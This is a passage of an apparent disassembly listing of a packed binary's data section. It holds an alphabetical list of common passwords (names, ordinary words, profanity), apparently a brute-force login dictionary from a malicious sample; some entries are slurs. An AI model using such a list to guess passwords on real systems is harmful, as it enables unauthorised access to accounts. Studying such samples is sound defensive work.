aBrute db 'brute',0 ; DATA XREF: .nsp0:0043A770o
align 10h
aBrutefor db 'brutefor',0 ; DATA XREF: .nsp0:0043A774o
align 4
aBulls db 'bulls',0 ; DATA XREF: .nsp0:0043A778o
align 4
aBullshit db 'bullshit',0 ; DATA XREF: .nsp0:0043A77Co
align 10h
aBumbling db 'bumbling',0 ; DATA XREF: .nsp0:0043A780o
align 4
aBung db 'bung',0 ; DATA XREF: .nsp0:0043A784o
align 4
aBurgess db 'burgess',0 ; DATA XREF: .nsp0:0043A788o
aBurn db 'burn',0 ; DATA XREF: .nsp0:0043A78Co
align 4
aButch db 'butch',0 ; DATA XREF: .nsp0:0043A790o
align 4
aButt db 'butt',0 ; DATA XREF: .nsp0:0043A794o
align 4
aButthead db 'butthead',0 ; DATA XREF: .nsp0:0043A798o
align 10h
aCaliforn db 'californ',0 ; DATA XREF: .nsp0:0043A79Co
align 4
aCamille db 'camille',0 ; DATA XREF: .nsp0:0043A7A0o
aCampanil db 'campanil',0 ; DATA XREF: .nsp0:0043A7A4o
align 10h
aCamping db 'camping',0 ; DATA XREF: .nsp0:0043A7A8o
aCandi db 'candi',0 ; DATA XREF: .nsp0:0043A7ACo
align 10h
aCandy db 'candy',0 ; DATA XREF: .nsp0:0043A7B0o
align 4
aCantor db 'cantor',0 ; DATA XREF: .nsp0:0043A7B4o
align 10h
aCaptain db 'captain',0 ; DATA XREF: .nsp0:0043A7B8o
aCapture db 'capture',0 ; DATA XREF: .nsp0:0043A7BCo
aCard db 'card',0 ; DATA XREF: .nsp0:0043A7C0o
align 4
aCardinal db 'cardinal',0 ; DATA XREF: .nsp0:0043A7C4o
align 4
aCaren db 'caren',0 ; DATA XREF: .nsp0:0043A7C8o
align 4
aCarla db 'carla',0 ; DATA XREF: .nsp0:0043A7CCo
align 4
aCarmen db 'carmen',0 ; DATA XREF: .nsp0:0043A7D0o
align 4
aCarol db 'carol',0 ; DATA XREF: .nsp0:0043A7D4o
align 4
aCarole db 'carole',0 ; DATA XREF: .nsp0:0043A7D8o
align 4
aCarolina db 'carolina',0 ; DATA XREF: .nsp0:0043A7DCo
align 4
aCaroline db 'caroline',0 ; DATA XREF: .nsp0:0043A7E0o
align 4
aCarrie db 'carrie',0 ; DATA XREF: .nsp0:0043A7E4o
align 4
aCarson db 'carson',0 ; DATA XREF: .nsp0:0043A7E8o
align 4
aCascades db 'cascades',0 ; DATA XREF: .nsp0:0043A7ECo
align 10h
aCash db 'cash',0 ; DATA XREF: .nsp0:0043A7F0o
align 4
aCastle db 'castle',0 ; DATA XREF: .nsp0:0043A7F4o
align 10h
aCatherin db 'catherin',0 ; DATA XREF: .nsp0:0043A7F8o
align 4
aCatholic db 'catholic',0 ; DATA XREF: .nsp0:0043A7FCo
align 4
aCathy db 'cathy',0 ; DATA XREF: .nsp0:0043A800o
align 10h
aCave db 'cave',0 ; DATA XREF: .nsp0:0043A804o
align 4
aCayuga db 'cayuga',0 ; DATA XREF: .nsp0:0043A808o
align 10h
aCecily db 'cecily',0 ; DATA XREF: .nsp0:0043A80Co
align 4
aCelt db 'celt',0 ; DATA XREF: .nsp0:0043A810o
align 10h
aCeltic db 'celtic',0 ; DATA XREF: .nsp0:0043A814o
align 4
aCeltics db 'celtics',0 ; DATA XREF: .nsp0:0043A818o
aCerulean db 'cerulean',0 ; DATA XREF: .nsp0:0043A81Co
align 4
aChange db 'change',0 ; DATA XREF: .nsp0:0043A820o
align 4
aCharity db 'charity',0 ; DATA XREF: .nsp0:0043A824o
aCharles db 'charles',0 ; DATA XREF: .nsp0:0043A828o
aCharlie db 'charlie',0 ; DATA XREF: .nsp0:0043A82Co
aCharming db 'charming',0 ; DATA XREF: .nsp0:0043A830o
align 4
aCharon db 'charon',0 ; DATA XREF: .nsp0:0043A834o
align 10h
aChat db 'chat',0 ; DATA XREF: .nsp0:0043A838o
align 4
aChem db 'chem',0 ; DATA XREF: .nsp0:0043A83Co
align 10h
aChemistr db 'chemistr',0 ; DATA XREF: .nsp0:0043A840o
align 4
aChess db 'chess',0 ; DATA XREF: .nsp0:0043A844o
align 4
aChester db 'chester',0 ; DATA XREF: .nsp0:0043A848o
aChip db 'chip',0 ; DATA XREF: .nsp0:0043A84Co
align 4
aChris db 'chris',0 ; DATA XREF: .nsp0:0043A850o
align 4
aChristin db 'christin',0 ; DATA XREF: .nsp0:0043A854o
align 4
aChristy db 'christy',0 ; DATA XREF: .nsp0:0043A858o
aCigar db 'cigar',0 ; DATA XREF: .nsp0:0043A85Co
align 4
aCigarett db 'cigarett',0 ; DATA XREF: .nsp0:0043A860o
align 4
aCindy db 'cindy',0 ; DATA XREF: .nsp0:0043A864o
align 4
aClass db 'class',0 ; DATA XREF: .nsp0:0043A868o
align 4
aClasses db 'classes',0 ; DATA XREF: .nsp0:0043A86Co
aClassic db 'classic',0 ; DATA XREF: .nsp0:0043A870o
aClaudia db 'claudia',0 ; DATA XREF: .nsp0:0043A874o
aClaymore db 'claymore',0 ; DATA XREF: .nsp0:0043A878o
align 4
aCleavage db 'cleavage',0 ; DATA XREF: .nsp0:0043A87Co
align 4
aClinton db 'clinton',0 ; DATA XREF: .nsp0:0043A880o
aCluster db 'cluster',0 ; DATA XREF: .nsp0:0043A884o
aClusters db 'clusters',0 ; DATA XREF: .nsp0:0043A888o
align 10h
aCoast db 'coast',0 ; DATA XREF: .nsp0:0043A88Co
align 4
aCocacola db 'cocacola',0 ; DATA XREF: .nsp0:0043A890o
align 4
aCocainco db 'cocainco',0 ; DATA XREF: .nsp0:0043A894o
align 10h
aCock db 'cock',0 ; DATA XREF: .nsp0:0043A898o
align 4
aCode db 'code',0 ; DATA XREF: .nsp0:0043A89Co
align 10h
aCodename db 'codename',0 ; DATA XREF: .nsp0:0043A8A0o
align 4
aCodeword db 'codeword',0 ; DATA XREF: .nsp0:0043A8A4o
align 4
aCoffee db 'coffee',0 ; DATA XREF: .nsp0:0043A8A8o
align 10h
aCoin db 'coin',0 ; DATA XREF: .nsp0:0043A8ACo
align 4
aCoke db 'coke',0 ; DATA XREF: .nsp0:0043A8B0o
align 10h
aCola db 'cola',0 ; DATA XREF: .nsp0:0043A8B4o
align 4
aCold db 'cold',0 ; DATA XREF: .nsp0:0043A8B8o
align 10h
aCollins db 'collins',0 ; DATA XREF: .nsp0:0043A8BCo
aColor db 'color',0 ; DATA XREF: .nsp0:0043A8C0o
align 10h
aCombat db 'combat',0 ; DATA XREF: .nsp0:0043A8C4o
align 4
aComics db 'comics',0 ; DATA XREF: .nsp0:0043A8C8o
align 10h
aCommit db 'commit',0 ; DATA XREF: .nsp0:0043A8CCo
align 4
aCommrade db 'commrade',0 ; DATA XREF: .nsp0:0043A8D0o
align 4
aCompany db 'company',0 ; DATA XREF: .nsp0:0043A8D4o
aComputin db 'computin',0 ; DATA XREF: .nsp0:0043A8D8o
align 4
aComrade db 'comrade',0 ; DATA XREF: .nsp0:0043A8DCo
aComrades db 'comrades',0 ; DATA XREF: .nsp0:0043A8E0o
align 4
aCondo db 'condo',0 ; DATA XREF: .nsp0:0043A8E4o
align 4
aCondom db 'condom',0 ; DATA XREF: .nsp0:0043A8E8o
align 4
aConnect_0 db 'connect',0 ; DATA XREF: .nsp0:0043A8ECo
aConnie db 'connie',0 ; DATA XREF: .nsp0:0043A8F0o
align 4
aConserva db 'conserva',0 ; DATA XREF: .nsp0:0043A8F4o
align 4
aConsole db 'console',0 ; DATA XREF: .nsp0:0043A8F8o
aContinue_0 db 'continue',0 ; DATA XREF: .nsp0:0043A8FCo
align 4
aCook db 'cook',0 ; DATA XREF: .nsp0:0043A900o
align 4
aCookbook db 'cookbook',0 ; DATA XREF: .nsp0:0043A904o
align 10h
aCookie db 'cookie',0 ; DATA XREF: .nsp0:0043A908o
align 4
aCool db 'cool',0 ; DATA XREF: .nsp0:0043A90Co
align 10h
aCooper db 'cooper',0 ; DATA XREF: .nsp0:0043A910o
align 4
aCopper db 'copper',0 ; DATA XREF: .nsp0:0043A914o
align 10h
aCops db 'cops',0 ; DATA XREF: .nsp0:0043A918o
align 4
aCopy db 'copy',0 ; DATA XREF: .nsp0:0043A91Co
align 10h
aCorneliu db 'corneliu',0 ; DATA XREF: .nsp0:0043A920o
align 4
aCorrect db 'correct',0 ; DATA XREF: .nsp0:0043A924o
aCounters db 'counters',0 ; DATA XREF: .nsp0:0043A928o
align 10h
aCountry db 'country',0 ; DATA XREF: .nsp0:0043A92Co
aCouscous db 'couscous',0 ; DATA XREF: .nsp0:0043A930o
align 4
aCowboy db 'cowboy',0 ; DATA XREF: .nsp0:0043A934o
align 4
aCrack db 'crack',0 ; DATA XREF: .nsp0:0043A938o
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: .nsp0:0043A93Co
align 10h
aCream db 'cream',0 ; DATA XREF: .nsp0:0043A940o
align 4
aCreate db 'create',0 ; DATA XREF: .nsp0:0043A944o
align 10h
aCreation db 'creation',0 ; DATA XREF: .nsp0:0043A948o
align 4
aCreature db 'creature',0 ; DATA XREF: .nsp0:0043A94Co
align 4
aCredit db 'credit',0 ; DATA XREF: .nsp0:0043A950o
align 10h
aCreosote db 'creosote',0 ; DATA XREF: .nsp0:0043A954o
align 4
aCretin db 'cretin',0 ; DATA XREF: .nsp0:0043A958o
align 4
aCrime db 'crime',0 ; DATA XREF: .nsp0:0043A95Co
align 4
aCriminal db 'criminal',0 ; DATA XREF: .nsp0:0043A960o
align 4
aCristina db 'cristina',0 ; DATA XREF: .nsp0:0043A964o
align 4
aCrystal db 'crystal',0 ; DATA XREF: .nsp0:0043A968o
aCshrc db 'cshrc',0 ; DATA XREF: .nsp0:0043A96Co
align 4
aCunt db 'cunt',0 ; DATA XREF: .nsp0:0043A970o
align 4
aCustomer db 'customer',0 ; DATA XREF: .nsp0:0043A974o
align 4
aCyber db 'cyber',0 ; DATA XREF: .nsp0:0043A978o
align 10h
aCyberpun db 'cyberpun',0 ; DATA XREF: .nsp0:0043A97Co
align 4
aCyberspa db 'cyberspa',0 ; DATA XREF: .nsp0:0043A980o
align 4
aCynthia db 'cynthia',0 ; DATA XREF: .nsp0:0043A984o
aDaemon db 'daemon',0 ; DATA XREF: .nsp0:0043A988o
align 4
aDaisy db 'daisy',0 ; DATA XREF: .nsp0:0043A98Co
align 10h
aDana db 'dana',0 ; DATA XREF: .nsp0:0043A990o
align 4
aDancer db 'dancer',0 ; DATA XREF: .nsp0:0043A994o
align 10h
aDaniel db 'daniel',0 ; DATA XREF: .nsp0:0043A998o
align 4
aDanielle db 'danielle',0 ; DATA XREF: .nsp0:0043A99Co
align 4
aDanny db 'danny',0 ; DATA XREF: .nsp0:0043A9A0o
align 4
aDapper db 'dapper',0 ; DATA XREF: .nsp0:0043A9A4o
align 4
aDark db 'dark',0 ; DATA XREF: .nsp0:0043A9A8o
align 4
aDarkaven db 'darkaven',0 ; DATA XREF: .nsp0:0043A9ACo
align 4
aData db 'data',0 ; DATA XREF: .nsp0:0043A9B0o
align 10h
aDave db 'dave',0 ; DATA XREF: .nsp0:0043A9B4o
align 4
aDawn db 'dawn',0 ; DATA XREF: .nsp0:0043A9B8o
align 10h
aDead db 'dead',0 ; DATA XREF: .nsp0:0043A9BCo
align 4
aDeathsta db 'deathsta',0 ; DATA XREF: .nsp0:0043A9C0o
align 4
aDebbie db 'debbie',0 ; DATA XREF: .nsp0:0043A9C4o
align 4
aDeborah db 'deborah',0 ; DATA XREF: .nsp0:0043A9C8o
aDebug db 'debug',0 ; DATA XREF: .nsp0:0043A9CCo
align 4
aDecember db 'december',0 ; DATA XREF: .nsp0:0043A9D0o
align 4
aDeck db 'deck',0 ; DATA XREF: .nsp0:0043A9D4o
align 10h
aDefault_0 db 'default',0 ; DATA XREF: .nsp0:0043A9D8o
aDefault_1 db 'DEFAULT',0 ; DATA XREF: .nsp0:0043A9DCo
aDefoe db 'defoe',0 ; DATA XREF: .nsp0:0043A9E0o
align 4
aDelta db 'delta',0 ; DATA XREF: .nsp0:0043A9E4o
align 10h
aDeluge db 'deluge',0 ; DATA XREF: .nsp0:0043A9E8o
align 4
aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:0043A9ECo
align 4
aDenise db 'denise',0 ; DATA XREF: .nsp0:0043A9F0o
align 4
aDennis db 'dennis',0 ; DATA XREF: .nsp0:0043A9F4o
align 4
aDesiree db 'desiree',0 ; DATA XREF: .nsp0:0043A9F8o
aDesk db 'desk',0 ; DATA XREF: .nsp0:0043A9FCo
align 4
aDesktop db 'desktop',0 ; DATA XREF: .nsp0:0043AA00o
aDesperat db 'desperat',0 ; DATA XREF: .nsp0:0043AA04o
align 4
aDevelop db 'develop',0 ; DATA XREF: .nsp0:0043AA08o
aDevice db 'device',0 ; DATA XREF: .nsp0:0043AA0Co
align 4
aDial db 'dial',0 ; DATA XREF: .nsp0:0043AA10o
align 10h
aDiamond db 'diamond',0 ; DATA XREF: .nsp0:0043AA14o
aDiana db 'diana',0 ; DATA XREF: .nsp0:0043AA18o
align 10h
aDiane db 'diane',0 ; DATA XREF: .nsp0:0043AA1Co
align 4
aDice db 'dice',0 ; DATA XREF: .nsp0:0043AA20o
align 10h
aDick db 'dick',0 ; DATA XREF: .nsp0:0043AA24o
align 4
aDiehard db 'diehard',0 ; DATA XREF: .nsp0:0043AA28o
aDiet db 'diet',0 ; DATA XREF: .nsp0:0043AA2Co
align 4
aDieter db 'dieter',0 ; DATA XREF: .nsp0:0043AA30o
align 10h
aDigital db 'digital',0 ; DATA XREF: .nsp0:0043AA34o
aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:0043AA38o
align 4
aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:0043AA3Co
aDirect db 'direct',0 ; DATA XREF: .nsp0:0043AA40o
align 4
aDirector db 'director',0
align 10h
aDirty db 'dirty',0
align 4
aDisc_0 db 'disc',0
align 10h
aDiscipli db 'discipli',0
align 4
aDisclose db 'disclose',0
align 4
aDiscover db 'discover',0
align 4
aDisk_0 db 'disk',0
align 4
aDiskette db 'diskette',0
align 4
aDisney db 'disney',0
align 10h
aDisplay db 'display',0
aDoctor db 'doctor',0
align 10h
aDollar db 'dollar',0
align 4
aDong db 'dong',0
align 10h
aDoom db 'doom',0
align 4
aDoom2 db 'doom2',0
align 10h
aDoomii db 'doomii',0
align 4
aDoomsday db 'doomsday',0
align 4
aDoonesbu db 'doonesbu',0
align 10h
aDoor db 'door',0
align 4
aDoors db 'doors',0
align 10h
aDope db 'dope',0
align 4
aDownload db 'download',0
align 4
aDragon db 'dragon',0
align 4
aDrdoom db 'drdoom',0
align 4
aDrive db 'drive',0 ; DATA XREF: .nsp0:0043AAA4o
align 4
aDrought db 'drought',0 ; DATA XREF: .nsp0:0043AAA8o
aDuck db 'duck',0 ; DATA XREF: .nsp0:0043AAACo
align 4
aDude db 'dude',0 ; DATA XREF: .nsp0:0043AAB0o
align 4
aDuelist db 'duelist',0 ; DATA XREF: .nsp0:0043AAB4o
aDuke db 'duke',0 ; DATA XREF: .nsp0:0043AAB8o
align 4
aDulce db 'dulce',0 ; DATA XREF: .nsp0:0043AABCo
align 4
aDuncan db 'duncan',0 ; DATA XREF: .nsp0:0043AAC0o
align 4
aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:0043AAC4o
aDyke db 'dyke',0 ; DATA XREF: .nsp0:0043AAC8o
align 4
aEager db 'eager',0 ; DATA XREF: .nsp0:0043AACCo
align 4
aEagle db 'eagle',0 ; DATA XREF: .nsp0:0043AAD0o
align 4
aEarth db 'earth',0 ; DATA XREF: .nsp0:0043AAD4o
align 4
aEasier db 'easier',0 ; DATA XREF: .nsp0:0043AAD8o
align 4
aEasy db 'easy',0 ; DATA XREF: .nsp0:0043AADCo
align 4
aEatme db 'eatme',0 ; DATA XREF: .nsp0:0043AAE0o
align 4
aEcho db 'echo',0 ; DATA XREF: .nsp0:0043AAE4o
align 4
aEddie db 'eddie',0 ; DATA XREF: .nsp0:0043AAE8o
align 4
aEdges db 'edges',0 ; DATA XREF: .nsp0:0043AAECo
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:0043AAF0o
align 4
aEdit db 'edit',0 ; DATA XREF: .nsp0:0043AAF4o
align 10h
aEdition db 'edition',0 ; DATA XREF: .nsp0:0043AAF8o
aEducation db 'education',0 ; DATA XREF: .nsp0:0043AAFCo
align 4
aEducatio db 'educatio',0 ; DATA XREF: .nsp0:0043AB00o
align 10h
aEdwin db 'edwin',0 ; DATA XREF: .nsp0:0043AB04o
align 4
aEdwina db 'edwina',0 ; DATA XREF: .nsp0:0043AB08o
align 10h
aEgghead db 'egghead',0 ; DATA XREF: .nsp0:0043AB0Co
aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:0043AB10o
align 4
aEileen db 'eileen',0 ; DATA XREF: .nsp0:0043AB14o
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:0043AB18o
align 4
aEinstein db 'einstein',0 ; DATA XREF: .nsp0:0043AB1Co
align 4
aElaine db 'elaine',0 ; DATA XREF: .nsp0:0043AB20o
align 4
aElanor db 'elanor',0 ; DATA XREF: .nsp0:0043AB24o
align 4
aElectron db 'electron',0 ; DATA XREF: .nsp0:0043AB28o
align 10h
aElephant db 'elephant',0 ; DATA XREF: .nsp0:0043AB2Co
align 4
aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:0043AB30o
align 4
aEllen db 'ellen',0 ; DATA XREF: .nsp0:0043AB34o
align 10h
aEmail_0 db 'email',0 ; DATA XREF: .nsp0:0043AB38o
align 4
aEmerald db 'emerald',0 ; DATA XREF: .nsp0:0043AB3Co
aEmily db 'emily',0 ; DATA XREF: .nsp0:0043AB40o
align 4
aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:0043AB44o
align 4
aEnemy db 'enemy',0 ; DATA XREF: .nsp0:0043AB48o
align 4
aEngine db 'engine',0 ; DATA XREF: .nsp0:0043AB4Co
align 4
aEngineer db 'engineer',0 ; DATA XREF: .nsp0:0043AB50o
align 10h
aEngland_0 db 'england',0 ; DATA XREF: .nsp0:0043AB54o
aEnglish_0 db 'english',0 ; DATA XREF: .nsp0:0043AB58o
aEnter db 'enter',0 ; DATA XREF: .nsp0:0043AB5Co
align 4
aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:0043AB60o
align 4
aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:0043AB64o
align 4
aErenity db 'erenity',0 ; DATA XREF: .nsp0:0043AB68o
aEric db 'eric',0 ; DATA XREF: .nsp0:0043AB6Co
align 4
aErica db 'erica',0 ; DATA XREF: .nsp0:0043AB70o
align 4
aErika db 'erika',0 ; DATA XREF: .nsp0:0043AB74o
align 4
aErin db 'erin',0 ; DATA XREF: .nsp0:0043AB78o
align 4
aErotic db 'erotic',0 ; DATA XREF: .nsp0:0043AB7Co
align 4
aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:0043AB80o
align 4
aEstablis db 'establis',0 ; DATA XREF: .nsp0:0043AB84o
align 10h
aEstate db 'estate',0 ; DATA XREF: .nsp0:0043AB88o
align 4
aEternity db 'eternity',0 ; DATA XREF: .nsp0:0043AB8Co
align 4
aEuclid db 'euclid',0 ; DATA XREF: .nsp0:0043AB90o
align 4
aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:0043AB94o
align 4
aExpert db 'expert',0 ; DATA XREF: .nsp0:0043AB98o
align 4
aExplode db 'explode',0 ; DATA XREF: .nsp0:0043AB9Co
aExplore db 'explore',0 ; DATA XREF: .nsp0:0043ABA0o
aExplorer db 'explorer',0 ; DATA XREF: .nsp0:0043ABA4o
align 4
aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:0043ABA8o
align 4
aExtensio db 'extensio',0 ; DATA XREF: .nsp0:0043ABACo
align 10h
aFairway db 'fairway',0 ; DATA XREF: .nsp0:0043ABB0o
aFaith db 'faith',0 ; DATA XREF: .nsp0:0043ABB4o
align 10h
aFalcon db 'falcon',0 ; DATA XREF: .nsp0:0043ABB8o
align 4
aFalse db 'false',0 ; DATA XREF: .nsp0:0043ABBCo
align 10h
aFamily db 'family',0 ; DATA XREF: .nsp0:0043ABC0o
align 4
aFarad db 'farad',0 ; DATA XREF: .nsp0:0043ABC4o
align 10h
aFaraday db 'faraday',0 ; DATA XREF: .nsp0:0043ABC8o
aFart db 'fart',0 ; DATA XREF: .nsp0:0043ABCCo
align 10h
aFast db 'fast',0 ; DATA XREF: .nsp0:0043ABD0o
align 4
aFear db 'fear',0 ; DATA XREF: .nsp0:0043ABD4o
align 10h
aFeds db 'feds',0 ; DATA XREF: .nsp0:0043ABD8o
align 4
aFelicia db 'felicia',0 ; DATA XREF: .nsp0:0043ABDCo
aFender db 'fender',0 ; DATA XREF: .nsp0:0043ABE0o
align 4
aFermat db 'fermat',0 ; DATA XREF: .nsp0:0043ABE4o
align 10h
aFerrari db 'ferrari',0 ; DATA XREF: .nsp0:0043ABE8o
aFidelity db 'fidelity',0 ; DATA XREF: .nsp0:0043ABECo
align 4
aField db 'field',0 ; DATA XREF: .nsp0:0043ABF0o
align 4
aFight db 'fight',0 ; DATA XREF: .nsp0:0043ABF4o
align 4
aFile_0 db 'file',0 ; DATA XREF: .nsp0:0043ABF8o
align 4
aFinite db 'finite',0 ; DATA XREF: .nsp0:0043ABFCo
align 4
aFire db 'fire',0 ; DATA XREF: .nsp0:0043AC00o
align 4
aFirewall db 'firewall',0 ; DATA XREF: .nsp0:0043AC04o
align 4
aFishers db 'fishers',0 ; DATA XREF: .nsp0:0043AC08o
aFlakes db 'flakes',0 ; DATA XREF: .nsp0:0043AC0Co
align 4
aFloat db 'float',0 ; DATA XREF: .nsp0:0043AC10o
align 10h
aFlorida db 'florida',0 ; DATA XREF: .nsp0:0043AC14o
aFlower db 'flower',0 ; DATA XREF: .nsp0:0043AC18o
align 10h
aFlowers db 'flowers',0 ; DATA XREF: .nsp0:0043AC1Co
aFood db 'food',0 ; DATA XREF: .nsp0:0043AC20o
align 10h
aFool db 'fool',0 ; DATA XREF: .nsp0:0043AC24o
align 4
aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:0043AC28o
align 4
aFootball db 'football',0 ; DATA XREF: .nsp0:0043AC2Co
align 10h
aForce db 'force',0 ; DATA XREF: .nsp0:0043AC30o
align 4
aFord db 'ford',0 ; DATA XREF: .nsp0:0043AC34o
align 10h
aForesigh db 'foresigh',0 ; DATA XREF: .nsp0:0043AC38o
align 4
aForever db 'forever',0 ; DATA XREF: .nsp0:0043AC3Co
aForm db 'form',0 ; DATA XREF: .nsp0:0043AC40o
align 4
aFormat db 'format',0 ; DATA XREF: .nsp0:0043AC44o
align 4
aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:0043AC48o
align 10h
aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:0043AC4Co
align 4
aFourier db 'fourier',0 ; DATA XREF: .nsp0:0043AC50o
aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:0043AC54o
aFrance_0 db 'france',0 ; DATA XREF: .nsp0:0043AC58o
align 4
aFrank db 'frank',0 ; DATA XREF: .nsp0:0043AC5Co
align 4
aFreak db 'freak',0 ; DATA XREF: .nsp0:0043AC60o
align 4
aFred db 'fred',0 ; DATA XREF: .nsp0:0043AC64o
align 4
aFree_0 db 'free',0 ; DATA XREF: .nsp0:0043AC68o
align 4
aFreedom db 'freedom',0 ; DATA XREF: .nsp0:0043AC6Co
aFrench_0 db 'french',0 ; DATA XREF: .nsp0:0043AC70o
align 4
aFriday_0 db 'friday',0 ; DATA XREF: .nsp0:0043AC74o
align 4
aFriend db 'friend',0 ; DATA XREF: .nsp0:0043AC78o
align 4
aFriends db 'friends',0 ; DATA XREF: .nsp0:0043AC7Co
aFrighten db 'frighten',0 ; DATA XREF: .nsp0:0043AC80o
align 4
aFrog db 'frog',0 ; DATA XREF: .nsp0:0043AC84o
align 10h
aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:0043AC88o
align 4
aFuck db 'fuck',0 ; DATA XREF: .nsp0:0043AC8Co
align 10h
aFucker db 'fucker',0
align 4
aFucking db 'fucking',0
aFuckme db 'fuckme',0
align 4
aFuckyou db 'fuckyou',0
aFudge db 'fudge',0
align 4
aFunction db 'function',0
align 4
aFungible db 'fungible',0
align 10h
aGabriel db 'gabriel',0
aGames db 'games',0
align 10h
aGardner db 'gardner',0
aGarfield db 'garfield',0
align 4
aGateway db 'gateway',0
aGatherin db 'gatherin',0
align 4
aGatt db 'gatt',0
align 10h
aGauss db 'gauss',0
align 4
aGeorge db 'george',0
align 10h
aGerm db 'germ',0
align 4
aGertrude db 'gertrude',0
align 4
aGhost db 'ghost',0 ; DATA XREF: .nsp0:0043ACD8o
align 4
aGibson db 'gibson',0 ; DATA XREF: .nsp0:0043ACDCo
align 4
aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:0043ACE0o
align 10h
aGina db 'gina',0 ; DATA XREF: .nsp0:0043ACE4o
align 4
aGinger db 'ginger',0 ; DATA XREF: .nsp0:0043ACE8o
align 10h
aGirl db 'girl',0 ; DATA XREF: .nsp0:0043ACECo
align 4
aGlacier db 'glacier',0 ; DATA XREF: .nsp0:0043ACF0o
aGold db 'gold',0 ; DATA XREF: .nsp0:0043ACF4o
align 4
aGolden db 'golden',0 ; DATA XREF: .nsp0:0043ACF8o
align 10h
aGolf db 'golf',0 ; DATA XREF: .nsp0:0043ACFCo
align 4
aGolfer db 'golfer',0 ; DATA XREF: .nsp0:0043AD00o
align 10h
aGood db 'good',0 ; DATA XREF: .nsp0:0043AD04o
align 4
aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:0043AD08o
align 4
aGorges db 'gorges',0 ; DATA XREF: .nsp0:0043AD0Co
align 4
aGosling db 'gosling',0 ; DATA XREF: .nsp0:0043AD10o
aGouge db 'gouge',0 ; DATA XREF: .nsp0:0043AD14o
align 4
aGovermen db 'govermen',0 ; DATA XREF: .nsp0:0043AD18o
align 4
aGrades db 'grades',0 ; DATA XREF: .nsp0:0043AD1Co
align 10h
aGraham db 'graham',0 ; DATA XREF: .nsp0:0043AD20o
align 4
aGrahm db 'grahm',0 ; DATA XREF: .nsp0:0043AD24o
align 10h
aGrand db 'grand',0 ; DATA XREF: .nsp0:0043AD28o
align 4
aGrant db 'grant',0 ; DATA XREF: .nsp0:0043AD2Co
align 10h
aGreat db 'great',0 ; DATA XREF: .nsp0:0043AD30o
align 4
aGreen db 'green',0 ; DATA XREF: .nsp0:0043AD34o
align 10h
aGroup db 'group',0 ; DATA XREF: .nsp0:0043AD38o
align 4
aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:0043AD3Co
aGuardian db 'guardian',0 ; DATA XREF: .nsp0:0043AD40o
align 4
aGucci db 'gucci',0 ; DATA XREF: .nsp0:0043AD44o
align 4
aGuess db 'guess',0 ; DATA XREF: .nsp0:0043AD48o
align 4
aGuitar db 'guitar',0 ; DATA XREF: .nsp0:0043AD4Co
align 4
aGumption db 'gumption',0 ; DATA XREF: .nsp0:0043AD50o
align 10h
aGuntis db 'guntis',0 ; DATA XREF: .nsp0:0043AD54o
align 4
aHack db 'hack',0 ; DATA XREF: .nsp0:0043AD58o
align 10h
aHacked db 'hacked',0 ; DATA XREF: .nsp0:0043AD5Co
align 4
aHagar db 'hagar',0 ; DATA XREF: .nsp0:0043AD60o
align 10h
aHair db 'hair',0 ; DATA XREF: .nsp0:0043AD64o
align 4
aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:0043AD68o
align 4
aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:0043AD6Co
align 4
aHamster db 'hamster',0 ; DATA XREF: .nsp0:0043AD70o
aHandel db 'handel',0 ; DATA XREF: .nsp0:0043AD74o
align 4
aHandily db 'handily',0 ; DATA XREF: .nsp0:0043AD78o
aHandjob db 'handjob',0 ; DATA XREF: .nsp0:0043AD7Co
aHappenin db 'happenin',0 ; DATA XREF: .nsp0:0043AD80o
align 4
aHard db 'hard',0 ; DATA XREF: .nsp0:0043AD84o
align 10h
aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:0043AD88o
align 4
aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:0043AD8Co
align 4
aHarmony db 'harmony',0 ; DATA XREF: .nsp0:0043AD90o
aHarold db 'harold',0 ; DATA XREF: .nsp0:0043AD94o
align 4
aHarvey db 'harvey',0 ; DATA XREF: .nsp0:0043AD98o
align 10h
aHate db 'hate',0 ; DATA XREF: .nsp0:0043AD9Co
align 4
aHaven db 'haven',0 ; DATA XREF: .nsp0:0043ADA0o
align 10h
aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:0043ADA4o
align 4
aHead db 'head',0 ; DATA XREF: .nsp0:0043ADA8o
align 10h
aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:0043ADACo
align 4
aHeat db 'heat',0 ; DATA XREF: .nsp0:0043ADB0o
align 4
aHeathen db 'heathen',0 ; DATA XREF: .nsp0:0043ADB4o
aHeather db 'heather',0 ; DATA XREF: .nsp0:0043ADB8o
aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:0043ADBCo
align 10h
aHeidi db 'heidi',0 ; DATA XREF: .nsp0:0043ADC0o
align 4
aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:0043ADC4o
align 4
aHell db 'hell',0 ; DATA XREF: .nsp0:0043ADC8o
align 4
aHello db 'hello',0 ; DATA XREF: .nsp0:0043ADCCo
align 4
aHelp db 'help',0 ; DATA XREF: .nsp0:0043ADD0o
align 4
aHerb db 'herb',0 ; DATA XREF: .nsp0:0043ADD4o
align 4
aHerbert db 'herbert',0 ; DATA XREF: .nsp0:0043ADD8o
